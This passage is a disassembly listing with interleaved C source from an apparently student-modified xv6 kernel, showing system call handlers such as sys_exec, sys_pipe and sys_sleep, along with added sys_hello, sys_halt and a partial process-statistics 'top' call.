*path; struct inode *ip; struct proc *curproc = myproc(); 80105048: e8 63 e6 ff ff call 801036b0 <myproc> 8010504d: 89 c6 mov %eax,%esi begin_op(); 8010504f: e8 cc da ff ff call 80102b20 <begin_op> if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){ 80105054: 8d 45 f4 lea -0xc(%ebp),%eax 80105057: 89 44 24 04 mov %eax,0x4(%esp) 8010505b: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80105062: e8 09 f6 ff ff call 80104670 <argstr> 80105067: 85 c0 test %eax,%eax 80105069: 78 4a js 801050b5 <sys_chdir+0x75> 8010506b: 8b 45 f4 mov -0xc(%ebp),%eax 8010506e: 89 04 24 mov %eax,(%esp) 80105071: e8 9a ce ff ff call 80101f10 <namei> 80105076: 85 c0 test %eax,%eax 80105078: 89 c3 mov %eax,%ebx 8010507a: 74 39 je 801050b5 <sys_chdir+0x75> end_op(); return -1; } ilock(ip); 8010507c: 89 04 24 mov %eax,(%esp) 8010507f: e8 3c c6 ff ff call 801016c0 <ilock> if(ip->type != T_DIR){ 80105084: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) iunlockput(ip); 80105089: 89 1c 24 mov %ebx,(%esp) if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){ end_op(); return -1; } ilock(ip); if(ip->type != T_DIR){ 8010508c: 75 22 jne 801050b0 <sys_chdir+0x70> iunlockput(ip); end_op(); return -1; } iunlock(ip); 8010508e: e8 0d c7 ff ff call 801017a0 <iunlock> iput(curproc->cwd); 80105093: 8b 46 68 mov 0x68(%esi),%eax 80105096: 89 04 24 mov %eax,(%esp) 80105099: e8 42 c7 ff ff call 801017e0 <iput> end_op(); 8010509e: e8 ed da ff ff call 80102b90 <end_op> curproc->cwd = ip; return 0; 801050a3: 31 c0 xor %eax,%eax return -1; } iunlock(ip); iput(curproc->cwd); end_op(); curproc->cwd = ip; 801050a5: 89 5e 68 mov %ebx,0x68(%esi) return 0; } 801050a8: 83 c4 20 add $0x20,%esp 801050ab: 5b pop %ebx 801050ac: 5e pop %esi 801050ad: 5d pop %ebp 801050ae: c3 ret 801050af: 90 nop end_op(); return -1; } ilock(ip); if(ip->type != T_DIR){ iunlockput(ip); 801050b0: e8 6b c8 ff ff call 80101920 <iunlockput> end_op(); 801050b5: e8 d6 da ff ff call 80102b90 <end_op> iunlock(ip); iput(curproc->cwd); end_op(); curproc->cwd = ip; return 0; } 801050ba: 83 c4 20 add $0x20,%esp } ilock(ip); if(ip->type != T_DIR){ iunlockput(ip); end_op(); return -1; 801050bd: b8 ff ff ff ff mov $0xffffffff,%eax iunlock(ip); iput(curproc->cwd); end_op(); curproc->cwd = ip; return 0; } 801050c2: 5b pop %ebx 801050c3: 5e pop %esi 801050c4: 5d pop %ebp 801050c5: c3 ret 801050c6: 8d 76 00 lea 0x0(%esi),%esi 801050c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801050d0 <sys_exec>: int sys_exec(void) { 801050d0: 55 push %ebp 801050d1: 89 e5 mov %esp,%ebp 801050d3: 57 push %edi 801050d4: 56 push %esi 801050d5: 53 push %ebx 801050d6: 81 ec ac 00 00 00 sub $0xac,%esp char *path, *argv[MAXARG]; int i; uint uargv, uarg; if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ 801050dc: 8d 85 5c ff ff ff lea -0xa4(%ebp),%eax 801050e2: 89 44 24 04 mov %eax,0x4(%esp) 801050e6: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801050ed: e8 7e f5 ff ff call 80104670 <argstr> 801050f2: 85 c0 test %eax,%eax 801050f4: 0f 88 84 00 00 00 js 8010517e <sys_exec+0xae> 801050fa: 8d 85 60 ff ff ff lea -0xa0(%ebp),%eax 80105100: 89 44 24 04 mov %eax,0x4(%esp) 80105104: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8010510b: e8 d0 f4 ff ff call 801045e0 <argint> 80105110: 85 c0 test %eax,%eax 80105112: 78 6a js 8010517e <sys_exec+0xae> return -1; } memset(argv, 0, sizeof(argv)); 80105114: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax for(i=0;; i++){ 8010511a: 31 db xor %ebx,%ebx uint uargv, uarg; if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ return -1; } memset(argv, 0, sizeof(argv)); 8010511c: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp) 80105123: 00 80105124: 8d b5 68 ff ff ff lea -0x98(%ebp),%esi 8010512a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80105131: 00 80105132: 8d bd 64 ff ff ff lea -0x9c(%ebp),%edi 80105138: 89 04 24 mov %eax,(%esp) 8010513b: e8 b0 f1 ff ff call 801042f0 <memset> for(i=0;; i++){ if(i >= NELEM(argv)) return -1; if(fetchint(uargv+4*i, (int*)&uarg) < 0) 80105140: 8b 85 60 ff ff ff mov -0xa0(%ebp),%eax 80105146: 89 7c 24 04 mov %edi,0x4(%esp) 8010514a: 8d 04 98 lea (%eax,%ebx,4),%eax 8010514d: 89 04 24 mov %eax,(%esp) 80105150: e8 eb f3 ff ff call 80104540 <fetchint> 80105155: 85 c0 test %eax,%eax 80105157: 78 25 js 8010517e <sys_exec+0xae> return -1; if(uarg == 0){ 80105159: 8b 85 64 ff ff ff mov -0x9c(%ebp),%eax 8010515f: 85 c0 test %eax,%eax 80105161: 74 2d je 80105190 <sys_exec+0xc0> argv[i] = 0; break; } if(fetchstr(uarg, &argv[i]) < 0) 80105163: 89 74 24 04 mov %esi,0x4(%esp) 80105167: 89 04 24 mov %eax,(%esp) 8010516a: e8 11 f4 ff ff call 80104580 <fetchstr> 8010516f: 85 c0 test %eax,%eax 80105171: 78 0b js 8010517e <sys_exec+0xae> if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ return -1; } memset(argv, 0, sizeof(argv)); for(i=0;; i++){ 80105173: 83 c3 01 add $0x1,%ebx 80105176: 83 c6 04 add $0x4,%esi if(i >= NELEM(argv)) 80105179: 83 fb 20 cmp $0x20,%ebx 8010517c: 75 c2 jne 80105140 <sys_exec+0x70> } if(fetchstr(uarg, &argv[i]) < 0) return -1; } return exec(path, argv); } 8010517e: 81 c4 ac 00 00 00 add $0xac,%esp char *path, *argv[MAXARG]; int i; uint uargv, uarg; if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ return -1; 80105184: b8 ff ff ff ff mov $0xffffffff,%eax } if(fetchstr(uarg, &argv[i]) < 0) return -1; } return exec(path, argv); } 80105189: 5b pop %ebx 8010518a: 5e pop %esi 8010518b: 5f pop %edi 8010518c: 5d pop %ebp 8010518d: c3 ret 8010518e: 66 90 xchg %ax,%ax break; } if(fetchstr(uarg, &argv[i]) < 0) return -1; } return exec(path, argv); 80105190: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax 80105196: 89 44 24 04 mov %eax,0x4(%esp) 8010519a: 8b 85 5c ff ff ff mov -0xa4(%ebp),%eax if(i >= NELEM(argv)) return -1; if(fetchint(uargv+4*i, (int*)&uarg) < 0) return -1; if(uarg == 0){ argv[i] = 0; 801051a0: c7 84 9d 68 ff ff ff movl $0x0,-0x98(%ebp,%ebx,4) 801051a7: 00 00 00 00 break; } if(fetchstr(uarg, &argv[i]) < 0) return -1; } return exec(path, argv); 801051ab: 89 04 24 mov %eax,(%esp) 801051ae: e8 ed b7 ff ff call 801009a0 <exec> } 801051b3: 81 c4 ac 00 00 00 add $0xac,%esp 801051b9: 5b pop %ebx 801051ba: 5e pop %esi 801051bb: 5f pop %edi 801051bc: 5d pop %ebp 801051bd: c3 ret 801051be: 66 90 xchg %ax,%ax 801051c0 <sys_pipe>: int sys_pipe(void) { 801051c0: 55 push %ebp 801051c1: 89 e5 mov %esp,%ebp 801051c3: 53 push %ebx 801051c4: 83 ec 24 sub $0x24,%esp int *fd; struct file *rf, *wf; int fd0, fd1; if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) 801051c7: 8d 45 ec lea -0x14(%ebp),%eax 801051ca: c7 44 24 08 08 00 00 movl $0x8,0x8(%esp) 801051d1: 00 801051d2: 89 44 24 04 mov %eax,0x4(%esp) 801051d6: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801051dd: e8 2e f4 ff ff call 80104610 <argptr> 801051e2: 85 c0 test %eax,%eax 801051e4: 78 6d js 80105253 <sys_pipe+0x93> return -1; if(pipealloc(&rf, &wf) < 0) 801051e6: 8d 45 f4 lea -0xc(%ebp),%eax 801051e9: 89 44 24 04 mov %eax,0x4(%esp) 801051ed: 8d 45 f0 lea -0x10(%ebp),%eax 801051f0: 89 04 24 mov %eax,(%esp) 801051f3: e8 88 df ff ff call 80103180 <pipealloc> 801051f8: 85 c0 test %eax,%eax 801051fa: 78 57 js 80105253 <sys_pipe+0x93> return -1; fd0 = -1; if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 801051fc: 8b 45 f0 mov -0x10(%ebp),%eax 801051ff: e8 1c f5 ff ff call 80104720 <fdalloc> 80105204: 85 c0 test %eax,%eax 80105206: 89 c3 mov %eax,%ebx 80105208: 78 33 js 8010523d <sys_pipe+0x7d> 8010520a: 8b 45 f4 mov -0xc(%ebp),%eax 8010520d: e8 0e f5 ff ff call 80104720 <fdalloc> 80105212: 85 c0 test %eax,%eax 80105214: 78 1a js 80105230 <sys_pipe+0x70> myproc()->ofile[fd0] = 0; fileclose(rf); fileclose(wf); return -1; } fd[0] = fd0; 80105216: 8b 55 ec mov -0x14(%ebp),%edx 80105219: 89 1a mov %ebx,(%edx) fd[1] = fd1; 8010521b: 8b 55 ec mov -0x14(%ebp),%edx 8010521e: 89 42 04 mov %eax,0x4(%edx) return 0; } 80105221: 83 c4 24 add $0x24,%esp fileclose(wf); return -1; } fd[0] = fd0; fd[1] = fd1; return 0; 80105224: 31 c0 xor %eax,%eax } 80105226: 5b pop %ebx 80105227: 5d pop %ebp 80105228: c3 ret 80105229: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(pipealloc(&rf, &wf) < 0) return -1; fd0 = -1; if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ if(fd0 >= 0) myproc()->ofile[fd0] = 0; 80105230: e8 7b e4 ff ff call 801036b0 <myproc> 80105235: c7 44 98 28 00 00 00 movl $0x0,0x28(%eax,%ebx,4) 8010523c: 00 fileclose(rf); 8010523d: 8b 45 f0 mov -0x10(%ebp),%eax 80105240: 89 04 24 mov %eax,(%esp) 80105243: e8 e8 bb ff ff call 80100e30 <fileclose> fileclose(wf); 80105248: 8b 45 f4 mov -0xc(%ebp),%eax 8010524b: 89 04 24 mov %eax,(%esp) 8010524e: e8 dd bb ff ff call 80100e30 <fileclose> return -1; } fd[0] = fd0; fd[1] = fd1; return 0; } 80105253: 83 c4 24 add $0x24,%esp if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ if(fd0 >= 0) myproc()->ofile[fd0] = 0; fileclose(rf); fileclose(wf); return -1; 80105256: b8 ff ff ff ff mov $0xffffffff,%eax } fd[0] = fd0; fd[1] = fd1; return 0; } 8010525b: 5b pop %ebx 8010525c: 5d pop %ebp 8010525d: c3 ret 8010525e: 66 90 xchg %ax,%ax 80105260 <sys_fork>: } ptable; struct pstat pstat; int sys_fork(void) { 80105260: 55 push %ebp 80105261: 89 e5 mov %esp,%ebp return fork(); } 80105263: 5d pop %ebp struct pstat pstat; int sys_fork(void) { return fork(); 80105264: e9 f7 e5 ff ff jmp 80103860 <fork> 80105269: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105270 <sys_exit>: } int sys_exit(void) { 80105270: 55 push %ebp 80105271: 89 e5 mov %esp,%ebp 80105273: 83 ec 08 sub $0x8,%esp exit(); 80105276: e8 45 e8 ff ff call 80103ac0 <exit> return 0; // not reached } 8010527b: 31 c0 xor %eax,%eax 8010527d: c9 leave 8010527e: c3 ret 8010527f: 90 nop 80105280 <sys_wait>: int sys_wait(void) { 80105280: 55 push %ebp 80105281: 89 e5 mov %esp,%ebp return wait(); } 80105283: 5d pop %ebp return 0; // not reached } int sys_wait(void) { return wait(); 80105284: e9 57 ea ff ff jmp 80103ce0 <wait> 80105289: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105290 <sys_kill>: } int sys_kill(void) { 80105290: 55 push %ebp 80105291: 89 e5 mov %esp,%ebp 80105293: 83 ec 28 sub $0x28,%esp int pid; if (argint(0, &pid) < 0) 80105296: 8d 45 f4 lea -0xc(%ebp),%eax 80105299: 89 44 24 04 mov %eax,0x4(%esp) 8010529d: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801052a4: e8 37 f3 ff ff call 801045e0 <argint> 801052a9: 85 c0 test %eax,%eax 801052ab: 78 13 js 801052c0 <sys_kill+0x30> return -1; return kill(pid); 801052ad: 8b 45 f4 mov -0xc(%ebp),%eax 801052b0: 89 04 24 mov %eax,(%esp) 801052b3: e8 88 eb ff ff call 80103e40 <kill> } 801052b8: c9 leave 801052b9: c3 ret 801052ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi int sys_kill(void) { int pid; if (argint(0, &pid) < 0) return -1; 801052c0: b8 ff ff ff ff mov $0xffffffff,%eax return kill(pid); } 801052c5: c9 leave 801052c6: c3 ret 801052c7: 89 f6 mov %esi,%esi 801052c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801052d0 <sys_getpid>: int sys_getpid(void) { 801052d0: 55 push %ebp 801052d1: 89 e5 mov %esp,%ebp 801052d3: 83 ec 08 sub $0x8,%esp return myproc()->pid; 801052d6: e8 d5 e3 ff ff call 801036b0 <myproc> 801052db: 8b 40 10 mov 0x10(%eax),%eax } 801052de: c9 leave 801052df: c3 ret 801052e0 <sys_sbrk>: int sys_sbrk(void) { 801052e0: 55 push %ebp 801052e1: 89 e5 mov %esp,%ebp 801052e3: 53 push %ebx 801052e4: 83 ec 24 sub $0x24,%esp int addr; int n; if (argint(0, &n) < 0) 801052e7: 8d 45 f4 lea -0xc(%ebp),%eax 801052ea: 89 44 24 04 mov %eax,0x4(%esp) 801052ee: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801052f5: e8 e6 f2 ff ff call 801045e0 <argint> 801052fa: 85 c0 test %eax,%eax 801052fc: 78 22 js 80105320 <sys_sbrk+0x40> return -1; addr = myproc()->sz; 801052fe: e8 ad e3 ff ff call 801036b0 <myproc> if (growproc(n) < 0) 80105303: 8b 55 f4 mov -0xc(%ebp),%edx int addr; int n; if (argint(0, &n) < 0) return -1; addr = myproc()->sz; 80105306: 8b 18 mov (%eax),%ebx if (growproc(n) < 0) 80105308: 89 14 24 mov %edx,(%esp) 8010530b: e8 e0 e4 ff ff call 801037f0 <growproc> 80105310: 85 c0 test %eax,%eax 80105312: 78 0c js 80105320 <sys_sbrk+0x40> return -1; return addr; 80105314: 89 d8 mov %ebx,%eax } 80105316: 83 c4 24 add $0x24,%esp 80105319: 5b pop %ebx 8010531a: 5d pop %ebp 8010531b: c3 ret 8010531c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi { int addr; int n; if (argint(0, &n) < 0) return -1; 80105320: b8 ff ff ff ff mov $0xffffffff,%eax 80105325: eb ef jmp 80105316 <sys_sbrk+0x36> 80105327: 89 f6 mov %esi,%esi 80105329: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105330 <sys_sleep>: return -1; return addr; } int sys_sleep(void) { 80105330: 55 push %ebp 80105331: 89 e5 mov %esp,%ebp 80105333: 53 push %ebx 80105334: 83 ec 24 sub $0x24,%esp int n; uint ticks0; if (argint(0, &n) < 0) 80105337: 8d 45 f4 lea -0xc(%ebp),%eax 8010533a: 89 44 24 04 mov %eax,0x4(%esp) 8010533e: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80105345: e8 96 f2 ff ff call 801045e0 <argint> 8010534a: 85 c0 test %eax,%eax 8010534c: 78 7e js 801053cc <sys_sleep+0x9c> return -1; acquire(&tickslock); 8010534e: c7 04 24 60 53 11 80 movl $0x80115360,(%esp) 80105355: e8 d6 ee ff ff call 80104230 <acquire> ticks0 = ticks; while (ticks - ticks0 < n) 8010535a: 8b 55 f4 mov -0xc(%ebp),%edx uint ticks0; if (argint(0, &n) < 0) return -1; acquire(&tickslock); ticks0 = ticks; 8010535d: 8b 1d a0 5b 11 80 mov 0x80115ba0,%ebx while (ticks - ticks0 < n) 80105363: 85 d2 test %edx,%edx 80105365: 75 29 jne 80105390 <sys_sleep+0x60> 80105367: eb 4f jmp 801053b8 <sys_sleep+0x88> 80105369: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if (myproc()->killed) { release(&tickslock); return -1; } sleep(&ticks, &tickslock); 80105370: c7 44 24 04 60 53 11 movl $0x80115360,0x4(%esp) 80105377: 80 80105378: c7 04 24 a0 5b 11 80 movl $0x80115ba0,(%esp) 8010537f: e8 ac e8 ff ff call 80103c30 <sleep> if (argint(0, &n) < 0) return -1; acquire(&tickslock); ticks0 = ticks; while (ticks - ticks0 < n) 80105384: a1 a0 5b 11 80 mov 0x80115ba0,%eax 80105389: 29 d8 sub %ebx,%eax 8010538b: 3b 45 f4 cmp -0xc(%ebp),%eax 8010538e: 73 28 jae 801053b8 <sys_sleep+0x88> { if (myproc()->killed) 80105390: e8 1b e3 ff ff call 801036b0 <myproc> 80105395: 8b 40 24 mov 0x24(%eax),%eax 80105398: 85 c0 test %eax,%eax 8010539a: 74 d4 je 80105370 <sys_sleep+0x40> { release(&tickslock); 8010539c: c7 04 24 60 53 11 80 movl $0x80115360,(%esp) 801053a3: e8 f8 ee ff ff call 801042a0 <release> return -1; 801053a8: b8 ff ff ff ff mov $0xffffffff,%eax } sleep(&ticks, &tickslock); } release(&tickslock); return 0; } 801053ad: 83 c4 24 add $0x24,%esp 801053b0: 5b pop %ebx 801053b1: 5d pop %ebp 801053b2: c3 ret 801053b3: 90 nop 801053b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi release(&tickslock); return -1; } sleep(&ticks, &tickslock); } release(&tickslock); 801053b8: c7 04 24 60 53 11 80 movl $0x80115360,(%esp) 801053bf: e8 dc ee ff ff call 801042a0 <release> return 0; } 801053c4: 83 c4 24 add $0x24,%esp return -1; } sleep(&ticks, &tickslock); } release(&tickslock); return 0; 801053c7: 31 c0 xor %eax,%eax } 801053c9: 5b pop %ebx 801053ca: 5d pop %ebp 801053cb: c3 ret { int n; uint ticks0; if (argint(0, &n) < 0) return -1; 801053cc: b8 ff ff ff ff mov $0xffffffff,%eax 801053d1: eb da jmp 801053ad <sys_sleep+0x7d> 801053d3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801053d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801053e0 <sys_uptime>: } // return how many clock tick interrupts have occurred // since start. int sys_uptime(void) { 801053e0: 55 push %ebp 801053e1: 89 e5 mov %esp,%ebp 801053e3: 53 push %ebx 801053e4: 83 ec 14 sub $0x14,%esp uint xticks; acquire(&tickslock); 801053e7: c7 04 24 60 53 11 80 movl $0x80115360,(%esp) 801053ee: e8 3d ee ff ff call 80104230 <acquire> xticks = ticks; 801053f3: 8b 1d a0 5b 11 80 mov 0x80115ba0,%ebx release(&tickslock); 801053f9: c7 04 24 60 53 11 80 movl $0x80115360,(%esp) 80105400: e8 9b ee ff ff call 801042a0 <release> return xticks; } 80105405: 83 c4 14 add $0x14,%esp 80105408: 89 d8 mov %ebx,%eax 8010540a: 5b pop %ebx 8010540b: 5d pop %ebp 8010540c: c3 ret 8010540d: 8d 76 00 lea 0x0(%esi),%esi 80105410 <sys_hello>: //implemented by Harry int sys_hello(void) { 80105410: 55 push %ebp 80105411: 89 e5 mov %esp,%ebp 80105413: 83 ec 28 sub $0x28,%esp int n; if (argint(0, &n) < 0) 80105416: 8d 45 f4 lea -0xc(%ebp),%eax 80105419: 89 44 24 04 mov %eax,0x4(%esp) 8010541d: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80105424: e8 b7 f1 ff ff call 801045e0 <argint> 80105429: 85 c0 test %eax,%eax 8010542b: 78 1b js 80105448 <sys_hello+0x38> return -1; cprintf("\nHello World %d\n", n); 8010542d: 8b 45 f4 mov -0xc(%ebp),%eax 80105430: c7 04 24 05 78 10 80 movl $0x80107805,(%esp) 80105437: 89 44 24 04 mov %eax,0x4(%esp) 8010543b: e8 10 b2 ff ff call 80100650 <cprintf> return 0; 80105440: 31 c0 xor %eax,%eax } 80105442: c9 leave 80105443: c3 ret 80105444: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi //implemented by Harry int sys_hello(void) { int n; if (argint(0, &n) < 0) return -1; 80105448: b8 ff ff ff ff mov $0xffffffff,%eax cprintf("\nHello World %d\n", n); return 0; } 8010544d: c9 leave 8010544e: c3 ret 8010544f: 90 nop 80105450 <sys_halt>: int sys_halt(void) { 80105450: 55 push %ebp } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80105451: ba f4 00 00 00 mov $0xf4,%edx 80105456: 89 e5 mov %esp,%ebp 80105458: 31 c0 xor %eax,%eax 8010545a: ee out %al,(%dx) outb(0xf4, 0x00); return 0; } 8010545b: 31 c0 xor %eax,%eax 8010545d: 5d pop %ebp 8010545e: c3 ret 8010545f: 90 nop 80105460 <sys_gettop>: int sys_gettop(void) { 80105460: 55 push %ebp 80105461: 89 e5 mov %esp,%ebp 80105463: 57 push %edi [SLEEPING] "Sleeping ", [RUNNABLE] "Runnable", [RUNNING] "Running", [ZOMBIE] "Zombie"}; // Count of processes in different states int unused = 0, embryo = 0, sleeping = 0, runnable = 0, running = 0, zombie = 0; 80105464: 31 ff xor %edi,%edi outb(0xf4, 0x00); return 0; } int sys_gettop(void) { 80105466: 56 push %esi [SLEEPING] "Sleeping ", [RUNNABLE] "Runnable", [RUNNING] "Running", [ZOMBIE] "Zombie"}; // Count of processes in different states int unused = 0, embryo = 0, sleeping = 0, runnable = 0, running = 0, zombie = 0; 80105467: 31 f6 xor %esi,%esi outb(0xf4, 0x00); return 0; } int sys_gettop(void) { 80105469: 53 push %ebx [SLEEPING] "Sleeping ", [RUNNABLE] "Runnable", [RUNNING] "Running", [ZOMBIE] "Zombie"}; // Count of processes in different states int unused = 0, embryo = 0, sleeping = 0, runnable = 0, running = 0, zombie = 0; 8010546a: 31 db xor %ebx,%ebx outb(0xf4, 0x00); return 0; } int sys_gettop(void) { 8010546c: 81 ec 8c 00 00 00 sub $0x8c,%esp cprintf("TOP COMMAND\n"); 80105472: c7 04 24 16 78 10 80 movl $0x80107816,(%esp) 80105479: e8 d2 b1 ff ff call 80100650 <cprintf> [SLEEPING] "Sleeping ", [RUNNABLE] "Runnable", [RUNNING] "Running", [ZOMBIE] "Zombie"}; // Count of processes in different states int unused = 0, embryo = 0, sleeping = 0, runnable = 0, running = 0, zombie = 0; 8010547e: 31 c9 xor %ecx,%ecx for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80105480: b8 54 2d 11 80 mov $0x80112d54,%eax [SLEEPING] "Sleeping ", [RUNNABLE] "Runnable", [RUNNING] "Running", [ZOMBIE] "Zombie"}; // Count of processes in different states int unused = 0, embryo = 0, sleeping = 0, runnable = 0, running = 0, zombie = 0; 80105485: c7 45 c0 00 00 00 00 movl $0x0,-0x40(%ebp) 8010548c: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 80105493: eb 12 jmp 801054a7 <sys_gettop+0x47> 80105495: 8d 76 00 lea 0x0(%esi),%esi for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) { if (p->state == 0) unused++; 80105498: 83 c1 01 add $0x1,%ecx [RUNNABLE] "Runnable", [RUNNING] "Running", [ZOMBIE] "Zombie"}; // Count of processes in different states int unused = 0, embryo = 0, sleeping = 0, runnable = 0, running = 0, zombie = 0; for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 8010549b: 05 84 00 00 00 add $0x84,%eax 801054a0: 3d 54 4e 11 80 cmp $0x80114e54,%eax 801054a5: 74 3a je 801054e1 <sys_gettop+0x81> { if (p->state == 0) 801054a7: 8b 50 0c mov 0xc(%eax),%edx 801054aa: 85 d2 test %edx,%edx 801054ac: 74 ea je 80105498 <sys_gettop+0x38> unused++; else if (p->state == 1) 801054ae: 83 fa 01 cmp $0x1,%edx 801054b1: 0f 84 41 03 00 00 je 801057f8 <sys_gettop+0x398> embryo++ ; else if (p->state == 2) 801054b7: 83 fa 02 cmp $0x2,%edx 801054ba: 0f 84 40 03 00 00 je 80105800 <sys_gettop+0x3a0> sleeping++; else if (p->state == 3) 801054c0: 83 fa 03 cmp $0x3,%edx 801054c3: 0f 84 3f 03 00 00 je 80105808 <sys_gettop+0x3a8> runnable++; else if (p->state == 4) 801054c9: 83 fa 04 cmp $0x4,%edx 801054cc: 0f 84 46 03 00 00 je 80105818 <sys_gettop+0x3b8> [RUNNABLE] "Runnable", [RUNNING] "Running", [ZOMBIE] "Zombie"}; // Count of processes in different states int unused = 0, embryo = 0, sleeping = 0, runnable = 0, running = 0, zombie = 0; for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801054d2: 05 84 00 00 00 add $0x84,%eax else if (p->state == 3) runnable++; else if (p->state == 4) running++; else zombie++; 801054d7: 83 c6 01 add $0x1,%esi [RUNNABLE] "Runnable", [RUNNING] "Running", [ZOMBIE] "Zombie"}; // Count of processes in different states int unused = 0, embryo = 0, sleeping = 0, runnable = 0, running = 0, zombie = 0; for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801054da: 3d 54 4e 11 80 cmp $0x80114e54,%eax 801054df: 75 c6 jne 801054a7 <sys_gettop+0x47> zombie++; } // getting the size of physical memory int mem = (int)PHYSTOP; // printing stats cprintf("\nUser : Root \nTasks: \nTotal: %d Unused: %d Embryo: %d Sleeping: %d Runnable: %d Running: %d Zombie: %d", 801054e1: 8b 45 c0 mov -0x40(%ebp),%eax 801054e4: 89 4c 24 08 mov %ecx,0x8(%esp) 801054e8: 89 74 24 1c mov %esi,0x1c(%esp) 801054ec: be c0 2d 11 80 mov $0x80112dc0,%esi 801054f1: 89 5c 24 0c mov %ebx,0xc(%esp) 801054f5: 89 44 24 18 mov %eax,0x18(%esp) 801054f9: 8b 45 c4 mov -0x3c(%ebp),%eax 801054fc: 89 7c 24 10 mov %edi,0x10(%esp) 80105500: c7 44 24 04 40 00 00 movl $0x40,0x4(%esp) 80105507: 00 80105508: c7 04 24 74 78 10 80 movl $0x80107874,(%esp) 8010550f: 89 44 24 14 mov %eax,0x14(%esp) 80105513: e8 38 b1 ff ff call 80100650 <cprintf> // since start. int sys_uptime(void) { uint xticks; acquire(&tickslock); 80105518: c7 04 24 60 53 11 80 movl $0x80115360,(%esp) 8010551f: e8 0c ed ff ff call 80104230 <acquire> xticks = ticks; 80105524: 8b 1d a0 5b 11 80 mov 0x80115ba0,%ebx release(&tickslock); 8010552a: c7 04 24 60 53 11 80 movl $0x80115360,(%esp) 80105531: e8 6a ed ff ff call 801042a0 <release> // getting the size of physical memory int mem = (int)PHYSTOP; // printing stats cprintf("\nUser : Root \nTasks: \nTotal: %d Unused: %d Embryo: %d Sleeping: %d Runnable: %d Running: %d Zombie: %d", NPROC,unused,embryo,sleeping,runnable,running,zombie); cprintf("\nCPU Size : %d \nTicks : %d\n",mem,sys_uptime()); 80105536: c7 44 24 04 00 00 00 movl $0xe000000,0x4(%esp) 8010553d: 0e 8010553e: 89 5c 24 08 mov %ebx,0x8(%esp) 80105542: c7 04 24 23 78 10 80 movl $0x80107823,(%esp) 80105549: e8 02 b1 ff ff call 80100650 <cprintf> cprintf("\nPID USER COMMAND STATE RES TIME+ %%MEM %%CPU"); 8010554e: c7 04 24 e0 78 10 80 movl $0x801078e0,(%esp) 80105555: e8 f6 b0 ff ff call 80100650 <cprintf> 8010555a: eb 16 jmp 80105572 <sys_gettop+0x112> 8010555c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105560: 81 c6 84 00 00 00 add $0x84,%esi for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80105566: 81 fe c0 4e 11 80 cmp $0x80114ec0,%esi 8010556c: 0f 84 76 02 00 00 je 801057e8 <sys_gettop+0x388> { if (p->pid != 0) 80105572: 8b 46 a4 mov -0x5c(%esi),%eax 80105575: 85 c0 test %eax,%eax 80105577: 74 e7 je 80105560 <sys_gettop+0x100> // since start. int sys_uptime(void) { uint xticks; acquire(&tickslock); 80105579: c7 04 24 60 53 11 80 movl $0x80115360,(%esp) 80105580: 8d 7d d0 lea -0x30(%ebp),%edi 80105583: e8 a8 ec ff ff call 80104230 <acquire> xticks = ticks; 80105588: 8b 1d a0 5b 11 80 mov 0x80115ba0,%ebx release(&tickslock); 8010558e: c7 04 24 60 53 11 80 movl $0x80115360,(%esp) 80105595: e8 06 ed ff ff call 801042a0 <release> // TIME+ p->calticks = sys_uptime() - p->myticks; no_ticks = (p->calticks); //division int seconds = no_ticks / 100; 8010559a: b8 1f 85 eb 51 mov $0x51eb851f,%eax { if (p->pid != 0) { // TIME+ p->calticks = sys_uptime() - p->myticks; 8010559f: 2b 5e 14 sub 0x14(%esi),%ebx 801055a2: 89 7d bc mov %edi,-0x44(%ebp) res[i] = 0; } for (i = 0; i < 6 && rem != 0; i++) { rem = rem * 10; res[i] = rem / mem; 801055a5: bf 93 24 49 92 mov $0x92492493,%edi int timedecimal = 0; int res[6]; int i; for (i = 0; i < 6; i++) { res[i] = 0; 801055aa: c7 45 d0 00 00 00 00 movl $0x0,-0x30(%ebp) // TIME+ 